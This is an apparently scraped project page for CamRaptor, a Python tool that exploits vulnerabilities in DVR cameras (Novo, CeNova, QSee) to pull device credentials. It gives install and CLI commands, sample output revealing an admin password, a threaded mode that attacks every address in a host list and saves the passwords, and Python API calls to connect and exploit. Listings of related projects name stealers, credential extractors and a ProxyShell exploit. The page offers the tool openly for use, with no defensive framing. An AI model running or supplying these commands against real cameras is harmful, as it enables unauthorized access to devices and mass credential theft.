CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Last update: Dec 24, 2022

Overview

CamRaptor

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Features

Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee.
Optimized to exploit multiple cameras at one time from list with threading enabled.
Simple CLI and API usage.

Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Basic usage

To use CamRaptor just type camraptor in your terminal.

usage: camraptor [-h] [--threads] [--output OUTPUT] [--input INPUT]
                 [--address ADDRESS]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain device credentials.

optional arguments:
  -h, --help         show this help message and exit
  --threads          Use threads for fastest work.
  --output OUTPUT    Output result to file.
  --input INPUT      Input file of addresses.
  --address ADDRESS  Single address.

Examples

Let's hack my camera just for fun.

camraptor --address 192.168.99.100

output:

[*] (192.168.99.100) - connecting to device...
[*] (192.168.99.100) - accessing device rom...
[*] (192.168.99.100) - extracting camera credentials...
[i] (192.168.99.100) - admin:mamahacker123

Let's try to use opened database of hosts with --threads for fast exploitation.

camraptor --threads --input cameras.txt --output passwords.txt

It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords to passwords.txt.

output:

[*] Initializing thread #0...
[*] (x.x.x.x) - connecting to camera...
[*] Initializing thread #1...
[*] (x.x.x.x) - connecting to camera...
[*] Initializing thread #2...
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #0 completed.
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #1 completed.
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #2 completed.

CamRaptor API

CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code:

from camraptor import CamRaptor

Basic functions

There are all CamRaptor basic functions that can be used to exploit specified device.

connect(host) - Connect specified defice by netword address.
exploit(device) - Exploit connected device.

Examples

from camraptor import CamRaptor

camraptor = CamRaptor()

camera = camraptor.connect('192.168.99.100')
print(camraptor.exploit(camera))

output:

'mamahacker123'

A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities

Shodan Quick Recon A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities Configuration You must edit the python code, and in

5 Aug 9, 2022

WpDisect is a wordpress hacking tool that finds vulnerabilities in wordpress.

wpdisect WpDisect is a wordpress hacking tool that finds misconfigurations in wordpress. Prerequisites You need to download wordpress in the wpdisect

3 Feb 20, 2022

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

ORector is a Fast Python tool designed to detect open redirects vulnerabilities

11 Apr 2, 2022

Tool for finding PHP source code vulnerabilities.

vulnz Tool for finding php source code vulnerabilities. Scans PHP source code and prints out potentially dangerous lines. This tool is useful for secu

1 Jan 14, 2022

Tool to scan for RouterOS (Mikrotik) forensic artifacts and vulnerabilities.

RouterOS Scanner Forensics tool for Mikrotik devices. Search for suspicious properties and weak security points that need to be fixed on the router. T

823 Dec 21, 2022

A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities

master_librarian A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities. To install requirements: $ sudo pyth

167 Dec 19, 2022

Python library to remotely extract credentials on a set of hosts.

1.5k Dec 31, 2022

Having a weak password is not good for a system that demands high confidentiality and security of user credentials

Having a weak password is not good for a system that demands high confidentiality and security of user credentials. It turns out that people find it difficult to make up a strong password that is strong enough to prevent unauthorized users from memorizing it.

0 Feb 7, 2022

Safety checks your installed dependencies for known security vulnerabilities

Safety checks your installed dependencies for known security vulnerabilities. By default it uses the open Python vulnerability database Safety DB, but

1.4k Dec 30, 2022

Comments

Difference between CamRaptor and CamOver

Hi,

I tried both tools, and I don't see any difference between them.

Can you tell me are there any differences between them, and which one to install ?

Regards,

opened by ghost 3
Can't open it

I have the same problem as the other that is closed, is that I can't open it by typing camraptor on the shell, but i don't know how to fix it, if someone can explain it , thanks

opened by axel9925 1
Can't use camraptor.

There might be a simple solutions for this but as I am new to some of these tools I was not able to start camraptor just by typing it in my terminal. Any suggestions on what I need to do ?

opened by csan6529 0

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Related tags

Overview

CamRaptor

Features

Installation

Basic usage

Examples

CamRaptor API

Basic functions

Examples

You might also like...

A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities

WpDisect is a wordpress hacking tool that finds vulnerabilities in wordpress.

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

Tool for finding PHP source code vulnerabilities.

Tool to scan for RouterOS (Mikrotik) forensic artifacts and vulnerabilities.

A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities

Python library to remotely extract credentials on a set of hosts.

Having a weak password is not good for a system that demands high confidentiality and security of user credentials

Safety checks your installed dependencies for known security vulnerabilities

Comments

Difference between CamRaptor and CamOver

Can't open it

Can't use camraptor.

Releases(1.0.0)

Owner

EntySec

Sample exploits for Zephyr CVE-2021-3625

An IDA pro python script to decrypt Qbot malware string

A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target.

A Python application to predict what is cooking

A simple Burp Suite extension to extract datas from source code

Patching - Interactive Binary Patching for IDA Pro

A secure password generator written in python

Port scanner tool with easy installation

Facebook Fast Cracking Tool With Python

ShoLister - a tool that collects all available subdomains for specific hostname or organization from Shodan

Python & JavaScript Obfuscator made in Python 3.

Password List Maker

宝塔面板Windows版提权方法

Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Cowrie SSH/Telnet Honeypot https://cowrie.readthedocs.io

Mad Spammer is a python webhook spammer which is very easy and safe to use.

A small Minecraft server to help players detect vulnerability to the Log4Shell exploit 🐚

Growtopia Save.dat Stealer

A bitcoin private keys brute-forcing tool. Educational purpose only.

ProxyShell POC Exploit : Exchange Server RCE (ACL Bypass + EoP + Arbitrary File Write)